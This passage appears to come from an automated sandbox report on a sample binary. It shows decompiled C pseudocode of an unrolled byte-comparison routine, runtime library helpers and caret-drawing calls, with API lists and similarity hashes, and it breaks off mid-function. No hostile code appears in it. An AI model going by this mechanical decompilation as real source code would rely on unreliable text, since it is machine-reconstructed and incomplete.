																	if( *(__esi - 0x15) ==  *(__edx - 0x15)) {
																		goto L268;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x15) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x15) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t481 = __ecx > 0;
																			__eflags = _t481;
																			__eax = 0 | _t481;
																			__ecx = _t481 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x14) & 0x000000ff;
																			__eax =  *(__edx - 0x14) & 0x000000ff;
																			__ecx = ( *(__esi - 0x14) & 0x000000ff) - ( *(__edx - 0x14) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t487 = __ecx > 0;
																				__eflags = _t487;
																				__eax = 0 | _t487;
																				__ecx = _t487 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x13) & 0x000000ff;
																				__eax =  *(__edx - 0x13) & 0x000000ff;
																				__ecx = ( *(__esi - 0x13) & 0x000000ff) - ( *(__edx - 0x13) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t493 = __ecx > 0;
																					__eflags = _t493;
																					__eax = 0 | _t493;
																					__ecx = _t493 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x12) & 0x000000ff;
																					__eax =  *(__edx - 0x12) & 0x000000ff;
																					__ecx = ( *(__esi - 0x12) & 0x000000ff) - ( *(__edx - 0x12) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t499 = __ecx > 0;
																						__eflags = _t499;
																						__eax = 0 | _t499;
																						__ecx = _t499 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L268;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x16:
																	L348:
																	__eax =  *(__esi - 0x16);
																	__eflags =  *(__esi - 0x16) -  *(__edx - 0x16);
																	if( *(__esi - 0x16) ==  *(__edx - 0x16)) {
																		goto L361;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x16) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x16) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t663 = __ecx > 0;
																			__eflags = _t663;
																			__eax = 0 | _t663;
																			__ecx = _t663 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x15) & 0x000000ff;
																			__eax =  *(__edx - 0x15) & 0x000000ff;
																			__ecx = ( *(__esi - 0x15) & 0x000000ff) - ( *(__edx - 0x15) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t669 = __ecx > 0;
																				__eflags = _t669;
																				__eax = 0 | _t669;
																				__ecx = _t669 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x14) & 0x000000ff;
																				__eax =  *(__edx - 0x14) & 0x000000ff;
																				__ecx = ( *(__esi - 0x14) & 0x000000ff) - ( *(__edx - 0x14) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t675 = __ecx > 0;
																					__eflags = _t675;
																					__eax = 0 | _t675;
																					__ecx = _t675 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x13) & 0x000000ff;
																					__eax =  *(__edx - 0x13) & 0x000000ff;
																					__ecx = ( *(__esi - 0x13) & 0x000000ff) - ( *(__edx - 0x13) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t681 = __ecx > 0;
																						__eflags = _t681;
																						__eax = 0 | _t681;
																						__ecx = _t681 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L361;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x17:
																	L441:
																	__eax =  *(__esi - 0x17);
																	__eflags =  *(__esi - 0x17) -  *(__edx - 0x17);
																	if( *(__esi - 0x17) ==  *(__edx - 0x17)) {
																		goto L454;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x17) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x17) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t841 = __ecx > 0;
																			__eflags = _t841;
																			__eax = 0 | _t841;
																			__ecx = _t841 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x16) & 0x000000ff;
																			__eax =  *(__edx - 0x16) & 0x000000ff;
																			__ecx = ( *(__esi - 0x16) & 0x000000ff) - ( *(__edx - 0x16) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t847 = __ecx > 0;
																				__eflags = _t847;
																				__eax = 0 | _t847;
																				__ecx = _t847 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x15) & 0x000000ff;
																				__eax =  *(__edx - 0x15) & 0x000000ff;
																				__ecx = ( *(__esi - 0x15) & 0x000000ff) - ( *(__edx - 0x15) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t853 = __ecx > 0;
																					__eflags = _t853;
																					__eax = 0 | _t853;
																					__ecx = _t853 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x14) & 0x000000ff;
																					__eax =  *(__edx - 0x14) & 0x000000ff;
																					__ecx = ( *(__esi - 0x14) & 0x000000ff) - ( *(__edx - 0x14) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t859 = __ecx > 0;
																						__eflags = _t859;
																						__eax = 0 | _t859;
																						__ecx = _t859 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L454;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x18:
																	L149:
																	_t1058 =  *(_t1354 - 0x18);
																	__eflags = _t1058 -  *(_t1340 - 0x18);
																	if(_t1058 ==  *(_t1340 - 0x18)) {
																		goto L162;
																	} else {
																		_t1270 = (_t1058 & 0x000000ff) - ( *(_t1340 - 0x18) & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t280 = _t1270 > 0;
																			__eflags = _t280;
																			_t1270 = (0 | _t280) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = ( *(_t1354 - 0x17) & 0x000000ff) - ( *(_t1340 - 0x17) & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t286 = _t1270 > 0;
																				__eflags = _t286;
																				_t1270 = (0 | _t286) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = ( *(_t1354 - 0x16) & 0x000000ff) - ( *(_t1340 - 0x16) & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t292 = _t1270 > 0;
																					__eflags = _t292;
																					_t1270 = (0 | _t292) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = ( *(_t1354 - 0x15) & 0x000000ff) - ( *(_t1340 - 0x15) & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t298 = _t1270 > 0;
																						__eflags = _t298;
																						_t1270 = (0 | _t298) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L162;
																					}
																				}
																			}
																		}
																	}
																	goto L228;
																case 0x19:
																	L242:
																	__eax =  *(__esi - 0x19);
																	__eflags =  *(__esi - 0x19) -  *(__edx - 0x19);
																	if( *(__esi - 0x19) ==  *(__edx - 0x19)) {
																		goto L255;
																	} else {
																		__eax =  *(__edx - 0x19) & 0x000000ff;
																		__ecx =  *(__esi - 0x19) & 0x000000ff;
																		__ecx = ( *(__esi - 0x19) & 0x000000ff) - ( *(__edx - 0x19) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t456 = __ecx > 0;
																			__eflags = _t456;
																			__eax = 0 | _t456;
																			__ecx = _t456 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x18) & 0x000000ff;
																			__eax =  *(__edx - 0x18) & 0x000000ff;
																			__ecx = ( *(__esi - 0x18) & 0x000000ff) - ( *(__edx - 0x18) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t462 = __ecx > 0;
																				__eflags = _t462;
																				__eax = 0 | _t462;
																				__ecx = _t462 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x17) & 0x000000ff;
																				__eax =  *(__edx - 0x17) & 0x000000ff;
																				__ecx = ( *(__esi - 0x17) & 0x000000ff) - ( *(__edx - 0x17) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t468 = __ecx > 0;
																					__eflags = _t468;
																					__eax = 0 | _t468;
																					__ecx = _t468 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x16) & 0x000000ff;
																					__eax =  *(__edx - 0x16) & 0x000000ff;
																					__ecx = ( *(__esi - 0x16) & 0x000000ff) - ( *(__edx - 0x16) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t474 = __ecx > 0;
																						__eflags = _t474;
																						__eax = 0 | _t474;
																						__ecx = _t474 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L255;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x1a:
																	L335:
																	__eax =  *(__esi - 0x1a);
																	__eflags =  *(__esi - 0x1a) -  *(__edx - 0x1a);
																	if( *(__esi - 0x1a) ==  *(__edx - 0x1a)) {
																		goto L348;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x1a) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x1a) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t638 = __ecx > 0;
																			__eflags = _t638;
																			__eax = 0 | _t638;
																			__ecx = _t638 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x19) & 0x000000ff;
																			__eax =  *(__edx - 0x19) & 0x000000ff;
																			__ecx = ( *(__esi - 0x19) & 0x000000ff) - ( *(__edx - 0x19) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t644 = __ecx > 0;
																				__eflags = _t644;
																				__eax = 0 | _t644;
																				__ecx = _t644 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x18) & 0x000000ff;
																				__eax =  *(__edx - 0x18) & 0x000000ff;
																				__ecx = ( *(__esi - 0x18) & 0x000000ff) - ( *(__edx - 0x18) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t650 = __ecx > 0;
																					__eflags = _t650;
																					__eax = 0 | _t650;
																					__ecx = _t650 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x17) & 0x000000ff;
																					__eax =  *(__edx - 0x17) & 0x000000ff;
																					__ecx = ( *(__esi - 0x17) & 0x000000ff) - ( *(__edx - 0x17) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t656 = __ecx > 0;
																						__eflags = _t656;
																						__eax = 0 | _t656;
																						__ecx = _t656 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L348;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x1b:
																	L428:
																	__eax =  *(__esi - 0x1b);
																	__eflags =  *(__esi - 0x1b) -  *(__edx - 0x1b);
																	if( *(__esi - 0x1b) ==  *(__edx - 0x1b)) {
																		goto L441;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x1b) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t816 = __ecx > 0;
																			__eflags = _t816;
																			__eax = 0 | _t816;
																			__ecx = _t816 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x1a) & 0x000000ff;
																			__eax =  *(__edx - 0x1a) & 0x000000ff;
																			__ecx = ( *(__esi - 0x1a) & 0x000000ff) - ( *(__edx - 0x1a) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t822 = __ecx > 0;
																				__eflags = _t822;
																				__eax = 0 | _t822;
																				__ecx = _t822 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x19) & 0x000000ff;
																				__eax =  *(__edx - 0x19) & 0x000000ff;
																				__ecx = ( *(__esi - 0x19) & 0x000000ff) - ( *(__edx - 0x19) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t828 = __ecx > 0;
																					__eflags = _t828;
																					__eax = 0 | _t828;
																					__ecx = _t828 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x18) & 0x000000ff;
																					__eax =  *(__edx - 0x18) & 0x000000ff;
																					__ecx = ( *(__esi - 0x18) & 0x000000ff) - ( *(__edx - 0x18) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t834 = __ecx > 0;
																						__eflags = _t834;
																						__eax = 0 | _t834;
																						__ecx = _t834 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L441;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x1c:
																	_t1057 =  *(_t1354 - 0x1c);
																	__eflags = _t1057 -  *(_t1340 - 0x1c);
																	if(_t1057 ==  *(_t1340 - 0x1c)) {
																		goto L149;
																	} else {
																		_t1270 = (_t1057 & 0x000000ff) - ( *(_t1340 - 0x1c) & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t255 = _t1270 > 0;
																			__eflags = _t255;
																			_t1270 = (0 | _t255) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = ( *(_t1354 - 0x1b) & 0x000000ff) - ( *(_t1340 - 0x1b) & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t261 = _t1270 > 0;
																				__eflags = _t261;
																				_t1270 = (0 | _t261) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = ( *(_t1354 - 0x1a) & 0x000000ff) - ( *(_t1340 - 0x1a) & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t267 = _t1270 > 0;
																					__eflags = _t267;
																					_t1270 = (0 | _t267) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = ( *(_t1354 - 0x19) & 0x000000ff) - ( *(_t1340 - 0x19) & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t273 = _t1270 > 0;
																						__eflags = _t273;
																						_t1270 = (0 | _t273) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L149;
																					}
																				}
																			}
																		}
																	}
																	goto L228;
																case 0x1d:
																	__eax =  *(__esi - 0x1d);
																	__eflags =  *(__esi - 0x1d) -  *(__edx - 0x1d);
																	if( *(__esi - 0x1d) ==  *(__edx - 0x1d)) {
																		goto L242;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x1d) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t430 = __ecx > 0;
																			__eflags = _t430;
																			__eax = 0 | _t430;
																			__ecx = _t430 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x1c) & 0x000000ff;
																			__eax =  *(__edx - 0x1c) & 0x000000ff;
																			__ecx = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t436 = __ecx > 0;
																				__eflags = _t436;
																				__eax = 0 | _t436;
																				__ecx = _t436 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x1b) & 0x000000ff;
																				__eax =  *(__edx - 0x1b) & 0x000000ff;
																				__ecx = ( *(__esi - 0x1b) & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t442 = __ecx > 0;
																					__eflags = _t442;
																					__eax = 0 | _t442;
																					__ecx = _t442 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x1a) & 0x000000ff;
																					__eax =  *(__edx - 0x1a) & 0x000000ff;
																					__ecx = ( *(__esi - 0x1a) & 0x000000ff) - ( *(__edx - 0x1a) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t448 = __ecx > 0;
																						__eflags = _t448;
																						__eax = 0 | _t448;
																						__ecx = _t448 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L242;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x1e:
																	__eax =  *(__esi - 0x1e);
																	__eflags =  *(__esi - 0x1e) -  *(__edx - 0x1e);
																	if( *(__esi - 0x1e) ==  *(__edx - 0x1e)) {
																		goto L335;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x1e) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x1e) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t613 = __ecx > 0;
																			__eflags = _t613;
																			__eax = 0 | _t613;
																			__ecx = _t613 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x1d) & 0x000000ff;
																			__eax =  *(__edx - 0x1d) & 0x000000ff;
																			__ecx = ( *(__esi - 0x1d) & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t619 = __ecx > 0;
																				__eflags = _t619;
																				__eax = 0 | _t619;
																				__ecx = _t619 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x1c) & 0x000000ff;
																				__eax =  *(__edx - 0x1c) & 0x000000ff;
																				__ecx = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t625 = __ecx > 0;
																					__eflags = _t625;
																					__eax = 0 | _t625;
																					__ecx = _t625 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x1b) & 0x000000ff;
																					__eax =  *(__edx - 0x1b) & 0x000000ff;
																					__ecx = ( *(__esi - 0x1b) & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t631 = __ecx > 0;
																						__eflags = _t631;
																						__eax = 0 | _t631;
																						__ecx = _t631 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L335;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x1f:
																	__eax =  *(__esi - 0x1f);
																	__eflags =  *(__esi - 0x1f) -  *(__edx - 0x1f);
																	if( *(__esi - 0x1f) ==  *(__edx - 0x1f)) {
																		goto L428;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x1f) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x1f) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t791 = __ecx > 0;
																			__eflags = _t791;
																			__eax = 0 | _t791;
																			__ecx = _t791 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x1e) & 0x000000ff;
																			__eax =  *(__edx - 0x1e) & 0x000000ff;
																			__ecx = ( *(__esi - 0x1e) & 0x000000ff) - ( *(__edx - 0x1e) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t797 = __ecx > 0;
																				__eflags = _t797;
																				__eax = 0 | _t797;
																				__ecx = _t797 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x1d) & 0x000000ff;
																				__eax =  *(__edx - 0x1d) & 0x000000ff;
																				__ecx = ( *(__esi - 0x1d) & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t803 = __ecx > 0;
																					__eflags = _t803;
																					__eax = 0 | _t803;
																					__ecx = _t803 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x1c) & 0x000000ff;
																					__eax =  *(__edx - 0x1c) & 0x000000ff;
																					__ecx = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t809 = __ecx > 0;
																						__eflags = _t809;
																						__eax = 0 | _t809;
																						__ecx = _t809 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L428;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
															}
														}
													}
												}
											}
										}
										L528:
										return _t1021;
									} else {
										goto L7;
									}
								}
							}
							goto L529;
							L7:
							_t1342 = _t1250;
						} while (_t1250 != 0xfffffffe);
						if(_t1258 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L529:
			}

APIs

_ValidateLocalCookies.LIBCMT ref: 00B1DF07
___except_validate_context_record.LIBVCRUNTIME ref: 00B1DF0F
_ValidateLocalCookies.LIBCMT ref: 00B1DF98
__IsNonwritableInCurrentImage.LIBCMT ref: 00B1DFC3
_ValidateLocalCookies.LIBCMT ref: 00B1E018

Strings

csm, xrefs: 00B1DFAD

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b62c552193824d84f0e89cf1805764eff89e21041f1cf536f46dd109a23c833e
Instruction ID: e623511831eae262cb4cda7576f79b2e20a434138fe1d7c2bc23fb160c2ad572
Opcode Fuzzy Hash: b62c552193824d84f0e89cf1805764eff89e21041f1cf536f46dd109a23c833e
Instruction Fuzzy Hash: 9941A430A00218ABCF14DF68D884ADEBBF5FF44324F5481D5F8199B396D731AA96CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B19950 Relevance: 10.6, APIs: 7, Instructions: 80windowCOMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00B19992
GetFocus.USER32 ref: 00B199BF
HideCaret.USER32 ref: 00B199EE
InvertRect.USER32 ref: 00B19A04
ReleaseDC.USER32 ref: 00B19A2C
GetFocus.USER32 ref: 00B19A41
ShowCaret.USER32 ref: 00B19A70

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: CaretFocus$HideInvertRectReleaseShow
String ID:
API String ID: 4235554027-0
Opcode ID: 2c1a91ca20fc8188f6e2462604a9343a382a94bdd3068e21516e96606b2ab14d
Instruction ID: 9ac86f2107b090c0f026519e27fa326b8e56ffa5eb79a9575fe6a6acfd95b077
Opcode Fuzzy Hash: 2c1a91ca20fc8188f6e2462604a9343a382a94bdd3068e21516e96606b2ab14d
Instruction Fuzzy Hash: AA31B674A00248DFCB04DFA8D599AACBBF0FF08351F518469E889DB310DB34EA88CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00B22369 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00B22369(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t20;
				void* _t22;
				WCHAR* _t26;
				signed int _t29;
				void** _t30;
				signed int* _t35;
				void* _t38;
				void* _t40;

				_t35 = _a4;
				while(_t35 != _a8) {
					_t29 =  *_t35;
					_v8 = _t29;
					_t38 =  *(0xb360b0 + _t29 * 4);
					if(_t38 == 0) {
						_t26 =  *(0xb2cae0 + _t29 * 4);
						_t38 = LoadLibraryExW(_t26, 0, 0x800);
						if(_t38 != 0) {
							L14:
							_t30 = 0xb360b0 + _v8 * 4;
							 *_t30 = _t38;
							if( *_t30 != 0) {
								FreeLibrary(_t38);
							}
							L16:
							_t20 = _t38;
							L13:
							return _t20;
						}
						_t22 = GetLastError();
						if(_t22 != 0x57) {
							L9:
							 *(0xb360b0 + _v8 * 4) = _t22 | 0xffffffff;
							L10:
							_t35 =  &(_t35[1]);
							continue;
						}
						_t22 = E00B24A59(_t26, L"api-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = E00B24A59(_t26, L"ext-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
